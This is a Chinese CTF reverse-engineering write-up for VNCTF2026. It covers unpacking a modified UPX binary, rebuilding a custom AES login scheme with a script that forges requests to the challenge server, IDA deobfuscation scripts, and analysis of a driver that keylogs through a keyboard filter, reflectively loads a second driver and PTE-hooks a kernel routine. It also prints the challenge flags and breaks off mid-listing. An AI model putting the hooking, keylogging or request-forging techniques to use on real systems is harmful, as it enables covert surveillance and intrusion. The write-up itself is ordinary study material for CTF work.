VNCTF2026 Re 复现

做alictf去了 没怎么做 简单看看题

ez_maze

难度:签到

主要是壳上了 exeinfo上看没有壳 die识别出了是个upx 但是010没找到相关特征,应该是魔改了,使用各种脱壳工具无法直接脱壳,需要手脱

image-20260202113945809

大致看了下程序首先会jmp到102A,102A会jmp到E9D0

入口点:ImageBase + 0x31000(也就是 .arch 节)

.arch开头看起来像乱码,但它先 jmp到 0x3102A,那里是一条jmp rel32,也就是跳到.rdata 内部 RVA 0x1E9D0(这段才是真壳代码)。

image-20260202140547774

在 RVA 0x1E9D0 这段反汇编非常典型:

rsi 指向 .rdata 起始(压缩数据流)

rdi 被设置成 rsi - 0x1B000

因为 .rdata 起始是 RVA 0x1C000,所以目标地址是:0x1C000 - 0x1B000 = RVA 0x1000

也就是说:把压缩流解压到 RVA 0x1000(原 .text)。

另外它内部的 bit-buffer 读法是 UPX stub 常见的:add ebx, ebx / adc 链式取 bit

backref copy 用 rdi + rbp 这种负偏移方式

RVA 是相对于程序加载基址(ImageBase)的地址

IAT = Import Address Table(导入地址表)相当于API函数地址表

image-20260202191345163

F7跟进到如下地址

可以参考upx手动脱壳 - Meteor_Kai - 博客园

image-20260202194653185

此处dump+fix (但不知道为什么修完后的无法运行 显示缺少某dll)

image-20260202195327738

image-20260202200229488

但是字符串却没搜到

因为现在看到的这个字符串是 UTF-16LE(宽字符),而在 IDA 里 Shift+F12常用的搜索很多时候只在 ANSI/ASCII 结果里找

然后一个简单迷宫题

VNCTF{wwaaaaaaaawwwwddwwddwwaaaawwaaaaaassssaawwwwaawwwwwwwa}

image-20260202201938881

Login

前端有

image-20260202210109039

JNI 注册表在 JNI_OnLoad 里:

  • encrypt:sub_25F8C
  • sign: sub_26408 setKey(Java_com_britney_login_util_NativeBridge_setKey 0x26770):byte_621A0[i] = key[i],拷贝 key 的前 16 字节作为 AES key

encrypt(sub_25F8C):

  1. 取 android_id = Settings.Secure.getString(…, “android_id”)

  2. 拼串:plain = f”{payload}:{android_id}”

    自定义填充:j1 = (16 - (len(plain) & 0xF)) & 0xF

    追加 0x01 * j1

    再写一个 0x00 终止符,但 长度返回的是 len(plain)+j1(不包含 0x00)

  3. AES-128-ECB(key = byte_621A0)

  4. 自定义 Base64 字母表:RSTUVWLbcdefghiMNOPrstuvQXYZajCklmnEFGHIJKwxyz01ABD234opq56789+/

image-20260202210248147

sign:sub_26408

  1. 同样拿 android_id
  2. 三个字节 byte_621B0..2 都是 0xFF(&1 后都是 1)
  3. 生成字符串:VNCTF:{payload}:{android_id}:{encrypted}:1:1:1
  4. md5 -> hex

image-20260202210909152

流量包里可以看

/getkey 响应(frame 12):MnpiiylSrRk_mZ-H

里面有个假flag VNCTF{test!!test!!!test!!!}

意思是从pacp泄露的username和password然后生成了个sign去请求login接口

pcap 里是当时内网 192.168.1.5:8080 的 key:MnpiiylSrRk_mZ-H

但现在真正可用的是远程 114.66.24.228:34014,它的 /getkey 会返回新的 key:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/env python3
import base64
import hashlib
import sys
import urllib.request

CUSTOM_B64 = "RSTUVWLbcdefghiMNOPrstuvQXYZajCklmnEFGHIJKwxyz01ABD234opq56789+/"
STD_B64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

# Non-standard S-box from liblogin.so (byte_62040)
SBOX = [
0x20,0x7b,0x18,0xa7,0x42,0x44,0xd7,0x4a,0xcd,0x32,0xd1,0xec,0xf3,0x81,0xa5,0x89,
0x0e,0x91,0x4b,0xf0,0xe9,0x5d,0x8d,0xf5,0x46,0xfc,0x31,0x36,0xb6,0xac,0x9b,0xb9,
0x26,0x09,0xe6,0x40,0xd4,0xb0,0x51,0x4f,0x9c,0x3e,0xe7,0x79,0x30,0x88,0xb1,0x3c,
0x7a,0x5c,0xd3,0x14,0x5a,0xab,0x56,0xc0,0x04,0x29,0xd0,0x3b,0x1f,0xf9,0xa3,0x57,
0x00,0x8a,0x84,0x16,0xf4,0x1a,0xea,0x64,0xa6,0xd6,0x2e,0xbe,0x2f,0x17,0xc4,0xe0,
0x1e,0x02,0x3a,0x22,0x8f,0x9f,0xcb,0xa8,0x2c,0x67,0x34,0x25,0xd5,0xff,0xef,0xf6,
0xe2,0xaa,0xd9,0x72,0xfe,0xce,0xa1,0x78,0x85,0x96,0x2a,0x77,0xca,0xc1,0x37,0x74,
0xa2,0x5e,0x6c,0xfd,0xb8,0x4d,0x7d,0x70,0xb3,0xdd,0xcf,0x71,0x73,0x61,0xf8,0x19,
0x48,0xe3,0x63,0x33,0x3d,0x15,0xae,0x98,0xe5,0x80,0xbd,0xbc,0x82,0xc6,0x94,0x01,
0xe4,0xde,0x06,0x50,0x95,0xdf,0x47,0xf7,0x90,0x8b,0x45,0x9a,0x6e,0x07,0xad,0x1c,
0x35,0x83,0x68,0x03,0x6f,0x5b,0xb7,0xfb,0x1d,0xc5,0x10,0x7c,0xd8,0x6a,0xcc,0x69,
0x8e,0x24,0x4c,0x39,0xb4,0xa0,0x0b,0x52,0xe8,0xa9,0xb2,0x8c,0x0a,0xbf,0x28,0x86,
0x6d,0xaf,0xda,0x41,0xfa,0x75,0xb5,0x43,0xc3,0x60,0x62,0x2b,0x55,0xf2,0x9e,0x2d,
0x12,0x23,0x0d,0xdb,0x6b,0xc7,0x38,0x7f,0x5f,0x97,0x08,0xed,0xe1,0xbb,0xee,0x9d,
0xd2,0x92,0x49,0x3f,0xdc,0x58,0x87,0xc2,0xba,0x99,0xc9,0x4e,0xf1,0x21,0xeb,0x13,
0x65,0x59,0x76,0x0c,0xc8,0x05,0xa4,0x54,0x93,0x1b,0x66,0x11,0x27,0x53,0x7e,0x0f,
]

RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36]


def xtime(a):
return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff


def gmul(a, b):
res = 0
for _ in range(8):
if b & 1:
res ^= a
a = xtime(a)
b >>= 1
return res


def key_expansion(key):
w = []
for i in range(4):
word = key[4 * i : 4 * i + 4]
w.append((word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3])
for i in range(4, 44):
temp = w[i - 1]
if i % 4 == 0:
temp = ((temp << 8) & 0xFFFFFFFF) | (temp >> 24)
temp = (
(SBOX[(temp >> 24) & 0xFF] << 24)
| (SBOX[(temp >> 16) & 0xFF] << 16)
| (SBOX[(temp >> 8) & 0xFF] << 8)
| (SBOX[temp & 0xFF])
)
temp ^= RCON[(i // 4) - 1] << 24
w.append(w[i - 4] ^ temp)
rks = []
for r in range(11):
rk = [[0] * 4 for _ in range(4)]
for c in range(4):
word = w[r * 4 + c]
rk[0][c] = (word >> 24) & 0xFF
rk[1][c] = (word >> 16) & 0xFF
rk[2][c] = (word >> 8) & 0xFF
rk[3][c] = word & 0xFF
rks.append(rk)
return rks


def add_round_key(state, rk):
for r in range(4):
for c in range(4):
state[r][c] ^= rk[r][c] ^ 0x91


def sub_bytes(state):
for r in range(4):
for c in range(4):
state[r][c] = SBOX[state[r][c]]


def shift_rows(state):
for r in range(1, 4):
state[r] = state[r][r:] + state[r][:r]


def mix_columns(state):
for c in range(4):
a = [state[r][c] for r in range(4)]
state[0][c] = gmul(a[0], 2) ^ gmul(a[1], 3) ^ a[2] ^ a[3]
state[1][c] = a[0] ^ gmul(a[1], 2) ^ gmul(a[2], 3) ^ a[3]
state[2][c] = a[0] ^ a[1] ^ gmul(a[2], 2) ^ gmul(a[3], 3)
state[3][c] = gmul(a[0], 3) ^ a[1] ^ a[2] ^ gmul(a[3], 2)


def encrypt_block(pt, rks):
state = [[0] * 4 for _ in range(4)]
idx = 0
for c in range(4):
for r in range(4):
state[r][c] = pt[idx]
idx += 1
add_round_key(state, rks[0])
for r in range(1, 10):
shift_rows(state)
sub_bytes(state)
mix_columns(state)
add_round_key(state, rks[r])
shift_rows(state)
sub_bytes(state)
add_round_key(state, rks[10])
out = bytearray(16)
idx = 0
for c in range(4):
for r in range(4):
out[idx] = state[r][c]
idx += 1
return bytes(out)


def encrypt(data, key):
rks = key_expansion(key)
out = b""
for i in range(0, len(data), 16):
out += encrypt_block(data[i : i + 16], rks)
return out


def main():
if len(sys.argv) != 1:
print("Usage: solve.py", file=sys.stderr)
return 2

base = "http://114.66.24.228:34014"
username = "VNCTF2026"
password = "Vv&nN_W3lC0me!!"
android_id = "b2e90a5f379ea4db"

key = urllib.request.urlopen(base + "/getkey", timeout=10).read().decode().strip()
key16 = key.encode()[:16]

payload = f"{username}:{password}"
plain = f"{payload}:{android_id}".encode()
pad = (16 - (len(plain) & 0xF)) & 0xF
plain_padded = plain + b"\x01" * pad

ct = encrypt(plain_padded, key16)
enc_std = base64.b64encode(ct).decode()
enc_custom = enc_std.translate(str.maketrans(STD_B64, CUSTOM_B64))

msg = f"VNCTF:{payload}:{android_id}:{enc_custom}:0:0:0"
sign = hashlib.md5(msg.encode()).hexdigest()

req = urllib.request.Request(base + "/login", data=enc_custom.encode(), method="POST")
req.add_header("Content-Type", "text/plain; charset=utf-8")
req.add_header("sign", sign)
resp = urllib.request.urlopen(req, timeout=10)
print(resp.read().decode())
return 0

if __name__ == "__main__":
raise SystemExit(main())

VNCTF{32_7R4f1Ic_LOGin_SNjWxxn4}

delicious_obf

好大一坨

image-20260204203419200

这是典型的控制流平坦化入口指令序列,本质是计算一个目标地址,然后用 jmp r10 间接跳转

xor 后结果固定是 0x4,所以 r10 固定变成 loc_140006560

还有个jz/jnz的花指令

image-20260204203730941

1
2
3
4
5
6
mov esi, 0x4C552200
lea edx, [0x140005E00 + 0x2BA] ; = 0x1400060BA
mov r11d, 0xA6DF5837
xor r11d, 0xA6DF5833 ; r11d = 0x4
add r10, r11 ; r10 += 4
jmp r10 ; 间接跳

可以发现跟之前一样

0x1400060BA+4=0x1400060BE

image-20260204204447229

  • 4C:REX 前缀(REX.W=1 用 64 位,REX.R=1 扩展寄存器编码)
  • 8D:LEA 指令 opcode
  • 15:ModRM(mod=00, rm=101 表示 [RIP+disp32];reg=010 再加上 REX.R=1 变成 r10)
  • B5 00 00 00:disp32 = 0xB5(小端)

我们发现了相似结构

可以写个批量脚本看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import ida_segment
import ida_bytes
import ida_kernwin

def nop_code(ea: int, length: int):
for i in range(length):
ida_bytes.patch_byte(ea + i, 0x90)

def process_text_segment(seg_start: int, seg_end: int):
current_addr = seg_start
end_addr = min(seg_start + 0x10000, seg_end)

while current_addr < end_addr:
current_byte = ida_bytes.get_byte(current_addr)
op = ida_bytes.get_word(current_addr + 1)
nxt = ida_bytes.get_word(current_addr + 7)

b23 = ida_bytes.get_byte(current_addr + 23)
if current_byte == 0x4C and op == 0x158D and nxt == 0xBB41 and b23 == 0xE8:
offest1 = ida_bytes.get_dword(current_addr + 3)

if offest1 & 0x80000000:
offest1 -= 0x100000000

addr = offest1 + 4 + 7 - 5 # 保持原公式(= offest1 + 6)
gar_code = offest1 + 7 + current_addr

nop_code(current_addr, 35)
nop_code(gar_code, 4)

ida_bytes.patch_byte(current_addr, 0xE9) # JMP rel32
ida_bytes.patch_dword(current_addr + 1, addr) # 写入 rel32
# 继续扫描
current_addr += 1
continue

if current_byte == 0x4C and op == 0x158D and nxt == 0xBB41 and b23 == 0x74:
offest1 = ida_bytes.get_dword(current_addr + 3)

if offest1 & 0x80000000:
offest1 -= 0x100000000

addr = offest1 + 4 + 7 - 5
gar_code = offest1 + 7 + current_addr

nop_code(current_addr, 30)
nop_code(gar_code, 4)

ida_bytes.patch_byte(current_addr, 0xE9)
ida_bytes.patch_dword(current_addr + 1, addr)

current_addr += 1
continue

current_addr += 1

def main():
n = ida_segment.get_segm_qty()
for i in range(n):
seg = ida_segment.getnseg(i)
if not seg:
continue

seg_name = ida_segment.get_segm_name(seg)
ida_kernwin.msg(seg_name + "\n")

if seg_name == ".text":
process_text_segment(seg.start_ea, seg.end_ea)

ida_kernwin.msg("[+] Done.\n")

if __name__ == "__main__":
main()

ida_bytes.get_dword()读出来的是无符号数

FC FF FF FF 这在 x86 指令语义里表示:rel32 = -4

1
2
3
call rel32
jmp rel32
lea reg, [rip + rel32]

CPU 做的是:target = next_ip + (int32_t)rel32;

所以要把0xFFFFFFFC还原成-4

建议使用如下的判断方式

1
2
if offest1 & 0x80000000:
offest1 -= 0x100000000

记录一下出题人的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <idc.idc>

static NopCode(Addr, Length)
{
auto i;
for (i = 0; i < Length; i++)
{
PatchByte(Addr + i, 0x90);
}
}


static main()
{
auto seg;
// 遍历所有段
for (seg = get_first_seg(); seg != BADADDR; seg = get_next_seg(seg))
{
// 获取段名称
auto seg_name = get_segm_name(seg);
msg(seg_name + "\n");
if (seg_name == ".text")
{
// 从当前段头地址开始遍历
auto current_addr = seg;
// 结束地址
auto end_addr = current_addr + 0x10000;
while (current_addr != BADADDR && current_addr < end_addr)
{
auto current_byte = Byte(current_addr);
auto op = Word(current_addr + 1);
auto next = Word(current_addr + 7);
auto call = Byte(current_addr + 23);
auto jz = Byte(current_addr + 23);
// call + retn
//设置一些条件判断是否为我们想处理的地方
if(current_byte == 0x4C && op == 0x158D && next == 0xBB41 && call == 0xE8)
{
auto offest1 = Dword(current_addr + 3);
auto offest_neg = Byte(current_addr + 6);
auto addr = offest1 + 4 + 7 - 5;
auto gar_code = offest1 + 7 + current_addr; // 计算出垃圾指令的位置
if(offest_neg == 0xFF)
{
gar_code = gar_code - 0x100000000;
}
NopCode(current_addr,35); // nop掉从lea开头到retn结尾的所有代码
NopCode(gar_code,4); // nop掉四字节垃圾指令
PatchByte(current_addr,0xE9); // 改为jmp指令
PatchDword(current_addr + 1,addr); // jmp跳转的偏移
}

// jz jnz
if(current_byte == 0x4C && op == 0x158D && next == 0xBB41 && jz == 0x74)
{
offest1 = Dword(current_addr + 3);
offest_neg = Byte(current_addr + 6);
addr = offest1 + 4 + 7 - 5;
gar_code = offest1 + 7 + current_addr;
if(offest_neg == 0xFF)
{
gar_code = gar_code - 0x100000000;
}
//msg("code : %X\n",gar_code);
NopCode(current_addr,30);
NopCode(gar_code,4);
PatchByte(current_addr,0xE9);
PatchDword(current_addr + 1,addr);
}
current_addr = current_addr + 1;
}

}
}
}

addr = offest1 + 4 + 7 - 5 本质是在算把这段lea/add/jmp r10改成一条 E9 rel32 近跳时,rel32 应该填多少

对应关系是:

  1. 4C 8D 15 xx xx xx xx 是 lea r10, [rip+disp32],disp32 = offest1 x64 的 RIP 相对寻址基址是下一条指令地址,所以

    lea_target = current_addr + 7 + sign_extend(offest1)

    15 = ModRM:mod=00, reg=edx, rm=101

    mod = 00rm = 101不是绝对地址,而是:[RIP + disp32] 所以是相对寻址

    RIP 不是当前指令的地址 ,RIP = 当前指令地址 + 当前指令长度

  2. mov r11d, A; xor r11d, B 的结果通常是常数,这里就是 4,所以 real_target = lea_target + 4 = current_addr + 7 + offest1 + 4

  3. 要patch 成 E9 rel32,E9 指令长度是 5,rel32 的基址是 current_addr + 5:

    current_addr + 5 + rel32 = real_target 所以 rel32 = real_target - (current_addr + 5) = offest1 + 4 + 7 - 5

执行脚本过后还是有很多一大块一大块的数据段 我们可以对其取消定义转为数据先(当然也可以用到时再处理)

官解:

image-20260206163809642

但这里可能有人会有误解,以为一定要从54BB开始,实际上我们可以选择这个函数开始

image-20260206163905115

我们对其上述操作后,如果反编译失败,一层层进去找,中间会有分支比如分支到54BB的这个函数中,这时候就是对54BB这个函数做这样的处理,搞了十几分钟差不多能处理完

image-20260206164040514

image-20260206164100866

image-20260206164140901

但不清楚为什么效果没有出题人处理的这么好 起码能看了

还发现

image-20260206170207063

发现还有个引用(没有的话说明你之前代码恢复的不全)

或者我们手动patch到一起也行

image-20260211124710599

还发现那个脚本没有去除这里的混淆

image-20260206170515677

修复技巧

image-20260211125108084

这里乱七八糟的头其实有问题 应该以push rbp为头部

需要手动检查

然后这下面这个我看了下我这部分的代码搞不出来不知道什么情况 这里的话应该是个SMC

image-20260211134008265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <iostream>
#include <windows.h>
#include <stdint.h>

int main()
{
uint32_t data[] = {0x738EA1B9, 0xF5B06584, 0xDCF952D5, 0x6FC28041, 0x1DA40CF1, 0x07572A62, 0xB4C49903, 0x9BA536D8};
uint32_t key[] = {0xF9B2917F, 0x2A9D0847, 0x0C874A13, 0xA0253AD3};
int sum = (32 * 0x61C88647) * 4;
for(int i = 6; i >= 0; i -= 2)
{
uint32_t A = data[i];
uint32_t B = data[i + 1];
for(int j = 0; j < 32; j++)
{
A += (B + ((16 * B) ^ (B >> 5))) ^ (key[sum & 3] + sum);
sum -= 0x61C88647;
B += (A + ((16 * A) ^ (A >> 5))) ^ (key[(sum >> 11) & 3] + sum);
}
data[i] = A;
data[i + 1] = B;
}

for(int i = 0; i < 8; i++)
{
for(int j = 0; j < 4; j++)
{
printf("%c",(data[i] >> (j * 8)) & 0xFF);
}
}

return 0;
}

// VNCTF{N0w_Y0u_Kn0w_SMC_4nd_@bf!}

Shadow

VNCTF2026-Shadow-WP | Liv’s blog

Maze.exe一个简单迷宫

sys分析下

image-20260215233212444

Findcrypt发现AES

sub_14000C000从全局 Pool 拷贝 0x5E00 字节,然后调用 sub_140001168 做 16 字节分组变换

确认是 AES 轮函数(S-box 在 0x140004000,Rcon 在 0x140003070,密钥在 dword_14000A000)

image-20260215233457807

静态分析

AI搓个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import argparse

import pefile
from Crypto.Cipher import AES

# Challenge-specific RVAs from stage1 sys.
KEY_RVA = 0xA000
ENC_BLOB_RVA = 0x4200
ENC_BLOB_SIZE = 0x5E00


def read_rva_bytes(pe: pefile.PE, rva: int, size: int) -> bytes:
offset = pe.get_offset_from_rva(rva)
data = pe.__data__[offset : offset + size]
if len(data) != size:
raise ValueError(f"read size mismatch @RVA {hex(rva)}: got {len(data)}, want {size}")
return data


def is_pe_image(buf: bytes) -> bool:
if len(buf) < 0x40 or buf[:2] != b"MZ":
return False
e_lfanew = int.from_bytes(buf[0x3C:0x40], "little")
return e_lfanew + 4 <= len(buf) and buf[e_lfanew : e_lfanew + 4] == b"PE\x00\x00"


def main() -> None:
parser = argparse.ArgumentParser(description="Recover stage2 PE directly from stage1 .sys")
parser.add_argument("sys_path", help="path to stage1 driver (.sys)")
parser.add_argument("-o", "--out", default="./stage2_driver.bin", help="output stage2 file")
args = parser.parse_args()

pe = pefile.PE(args.sys_path, fast_load=False)
key = read_rva_bytes(pe, KEY_RVA, 16)
enc_blob = read_rva_bytes(pe, ENC_BLOB_RVA, ENC_BLOB_SIZE)

cipher = AES.new(key, AES.MODE_ECB)
cand_encrypt = cipher.encrypt(enc_blob)

with open(args.out, "wb") as f:
f.write(cand_encrypt)

e_lfanew = int.from_bytes(cand_encrypt[0x3C:0x40], "little")
print(cand_encrypt[:2], cand_encrypt[e_lfanew : e_lfanew + 4])


if __name__ == "__main__":
main()

解密PE文件后,进行PE拉伸、重定位修复、IAT修复、调用DriverEntry,一系列操作进行手动加载该PE文件到内存中运行,具体实现原理可以网上搜”反射注入”,实际就是手动实现加载并运行程序。from liv

image-20260218220159318

image-20260218220229531

关注sub_140001C10函数

sub_140001C10中有个解码字符串函数

image-20260218225543154

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def decode_obf(data, key):
b = bytearray(data)
for i in range(len(b)):
b[i] ^= ((i % 0x0D) + key) & 0xFF
return bytes(b)

arr1 = [
0xF1,0xBB,0xD9,0xBD,0xFA,0xBF,0xA5,0xC1,0xAE,0xC3,0xA5,0xC5,0xBF,0xBA,0xFE,0xBC,
0xC5,0xBE,0xDA,0xC0,0xA2,0xC2,0xB6,0xC4,0xB1,0xC6,0xD3,0xBB,0xD3,0xBD,0xD0,0xBF,
0x94,0xC1,0xAA,0xC3,0xB6,0xC5,0xA3,0xBA,0xDA,0xBC,0xD9,0xBE,0xBF,0xC0
]
print(decode_obf(arr1, 0xBA).decode("utf-16le").rstrip("\x00"))

arr2 = [
0xCC,0x91,0xD6,0x93,0xF1,0x95,0xE0,0x97,0xF1,0x99,0xF9,0x9B,0xF9,0x90,0xCD,0x92,
0xD8,0x94,0xF0,0x96,0xEE,0x98,0xFB,0x9A,0xF4,0x9C,0xF1,0x91,0xE0,0x93,0xF0,0x95,
0xD5,0x97,0xF4,0x99,0xFB,0x9B,0xEF,0x90,0xE2,0x92,0xA3,0x94,0x95,0x96
]
print(decode_obf(arr2, 0x90).decode("utf-16le").rstrip("\x00"))

在 sub_140001C10 中解码出两个关键字符串:

  • KeDelayExecutionThread
  • \Device\KeyboardClass0

0x61004D 的内存字节是:4D 00 61 00 -> UTF-16LE 就是 “M” “a”

0x65007A 的内存字节是:7A 00 65 00 -> UTF-16LE 就是 “z” “e”

枚举 PID 12..0xFFFFF,通过 SeLocateProcessImageName 找进程名为 Maze(比较 M a z e)。

SystemRoutineAddress = MmGetSystemRoutineAddress(&DestinationString);

在内核里按名字查找 KeDelayExecutionThread 这个系统例程的地址

MmGetSystemRoutineAddress 是 Windows 内核提供的一个函数。

根据函数名字符串,返回该内核导出函数的地址。类似于用户态里的GetProcAddress

KeDelayExecutionThread 让当前线程延迟一段时间

找到后调用 sub_140003F80 安装 hook;

  • 创建设备对象(IoCreateDevice,类型 0x0B = 键盘)并 IoAttachDevice 到 \Device\KeyboardClass0。
  • MajorFunction 默认走 sub_1400010A0(直接转发)。
  • IRP_MJ_READ(索引 3)走 sub_140001100,设置 completion routine CompletionRoutine (0x1400017D0) 后转发。

sub_140003F80 本质上是“安装内联 Hook + 建立可恢复上下文”的函数。在当前样本里它是给 KeDelayExecutionThread 装钩子(由 sub_140001C10 传进来)。

它主要做这几件事:

  1. PsLookupProcessByProcessId 拿到目标进程(Maze)的 PEPROCESS。
  2. 分配一个上下文结构(0xC0),调用 sub_140003B50 做页表相关准备(含保存原始页表项、必要时处理大页/重映射)。
  3. 用 sub_140002470 从目标函数入口开始反汇编,累计到至少 14 字节(保证覆盖完整指令)。
  4. 保存原始前导字节,并构造 trampoline(原始字节 + 跳回 原函数+len),把 trampoline 指针写到 *a5。
  5. 构造 14 字节跳板并写回目标函数入口(sub_140003E80):
    FF 25 00 00 00 00 + 8字节hook地址(这里是 sub_1400012C0)。
  6. 把上下文挂到全局链表(供卸载时恢复),成功返回 1;任一步失败返回 0。

然后对该进程,进行对KeDelayExecutionThread函数单独隔离的Pte hook,Pte hook的特性就是对ntdll函数进行hook,但仅对该进程生效,hook替换成另一个函数。PTE Hook:一种利用页表重映射攻击实现的内核函数Hook-先知社区

键盘数据处理

IoAttachDevice(DeviceObject, &TargetDevice, &AttachedDevice)这说明它把自己挂到键盘类设备栈上,做键盘过滤

Sub_140001100 是这个驱动专门处理 IRP_MJ_READ(读请求)的分发函数,本质是带回调的转发器

核心回调就是CompletionRoutine函数

image-20260218232308422

返回缓冲按 KEYBOARD_INPUT_DATA 解析:count = IoStatus.Information / 0xC。

逐条读取扫描码 n0x54 和标志位:

  • 扫描码 0x2A/0x36(左右 Shift)用于更新 byte_140006BA5(Shift 状态)。
  • 只处理按下事件(Flags & 1 == 0),忽略松开事件。

扫描码转字符:

  • 未按 Shift 用 byte_140005170。
  • 按 Shift 用 byte_1400051D0。

若转换出字符且采集开关 byte_140006BA4 为真,就写入 Source2[dword_140006BA8++]。

扫描码 0x58(F12)作为采集开关:

  • 打开时:清空 Source2 和长度,打印 “[LDriver] on input.\n”(字符串先解码)。
  • 关闭时:打印 “[LDriver] input end.\n”(同样先解码)。

image-20260218232355910

交叉引用该函数可以到sub_1400012C0

分析逻辑可得解密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import ida_bytes, ida_name

out_path = r"/tmp/sub_1400012C0_shellcode.bin"
parts = [
('src_', 0x1AD, 0x11),
('src__0', 0x1AD, 0x22),
('src__1', 0x1AD, 0x33),
('src__2', 0x1AD, 0x44),
('src__3', 0x1AE, 0x55),
]
for name, size, xk in parts:
ea = ida_name.get_name_ea(0xffffffffffffffff, name)
b = bytearray(ida_bytes.get_bytes(ea, size))
b.reverse()
for i in range(len(b)):
b[i] ^= xk
blob.extend(b)

with open(out_path, "wb") as f:
f.write(blob)

entry_off = 0x775
print(hex(entry_off), blob[entry_off:entry_off+32].hex(), len(blob))

或者直接重建在当前文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import os
import idc
import ida_name
import ida_bytes
import ida_funcs
import ida_segment
import ida_auto

PARTS = [
("src_", 0x1AD, 0x11),
("src__0", 0x1AD, 0x22),
("src__1", 0x1AD, 0x33),
("src__2", 0x1AD, 0x44),
("src__3", 0x1AE, 0x55),
]

FUNC_OFFSETS = [0x000, 0x055, 0x1AD, 0x225, 0x392, 0x476, 0x775, 0x862]
FUNC_NAMES = [
"shc_xorshift",
"shc_init_sbox",
"shc_subword",
"shc_expand_keys",
"shc_mix_seed",
"shc_crypt_block",
"shc_main",
]

def rebuild_blob():
blob = bytearray()
for name, size, xk in PARTS:
ea = ida_name.get_name_ea(0xFFFFFFFFFFFFFFFF, name)
if ea == 0xFFFFFFFFFFFFFFFF:
raise RuntimeError(f"missing symbol: {name}")
b = ida_bytes.get_bytes(ea, size)
if b is None or len(b) != size:
raise RuntimeError(f"read fail: {name}")
t = bytearray(b)
t.reverse() # sub_140001B60
for i in range(len(t)):
t[i] ^= xk # 每段固定异或
blob.extend(t)
return blob

def map_blob(blob, base=0x180020000, seg_name="shc0"):
seg = ida_segment.getseg(base)
if seg:
ida_segment.del_segm(base, ida_segment.SEGMOD_KILL)

# 64-bit CODE 段
ok = idc.AddSeg(base, base + len(blob), 0, 2, 0, 2)
if not ok:
raise RuntimeError("AddSeg failed")

idc.set_segm_name(base, seg_name)
idc.set_segm_class(base, "CODE")
ida_bytes.patch_bytes(base, bytes(blob))

for i in range(len(FUNC_OFFSETS) - 1):
s = base + FUNC_OFFSETS[i]
e = base + FUNC_OFFSETS[i + 1]
ida_funcs.del_func(s)
ida_bytes.del_items(s, ida_bytes.DELIT_SIMPLE, e - s)
idc.create_insn(s)
ida_funcs.add_func(s, e)
idc.set_name(s, FUNC_NAMES[i], idc.SN_CHECK)

ida_auto.auto_wait()
return base + 0x775

def main():
blob = rebuild_blob()
out_path = "/tmp/sub_1400012C0_shellcode.bin"
with open(out_path, "wb") as f:
f.write(blob)

entry = map_blob(blob)
print("blob_len =", len(blob))
print("dump =", out_path)
print("entry =", hex(entry))
print("entry_32 =", blob[0x775:0x775+32].hex())

main()

sub_1400012C0 会先重建一段代码 blob(你说的 shellcode)

  • 5 段数据拼接:长度分别 0x1AD, 0x1AD, 0x1AD, 0x1AD, 0x1AE
  • 每段都先 reverse,再异或常量(对应 0x11/0x22/0x33/0x44/0x55)
  • 总长度 0x862,入口偏移是 +0x775

key

  • 先初始化:seed = 0x17658990C729C992
  • 循环 0x39 次:seed = (seed * 0x10003) ^ (uint64_t)a3
  • 这里 a3 是传入的指针,取的是 *a3 的 64 位值
  • 然后把 &seed 传给 blob 入口做 8 字节分组变换

关键是得知道a3

sub_1400012C0(a1, a2, a3) 的 a3 来自被 hook 的原函数第三个参数。

这里被 hook 的函数是 KeDelayExecutionThread

所以参数映射是:

  • a1 = KPROCESSOR_MODE WaitMode
  • a2 = BOOLEAN Alertable
  • a3 = PLARGE_INTEGER Interval

对 Maze.exe 的 Sleep(50),常见对应是:

  • *a3 = -500000(即 -(50 * 10000))
  • 64 位补码:0xFFFFFFFFFFF85EE0

密文

image-20260219204921174

但是上面的那些不知道在干什么交叉引用发现实际对密文也进行了异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
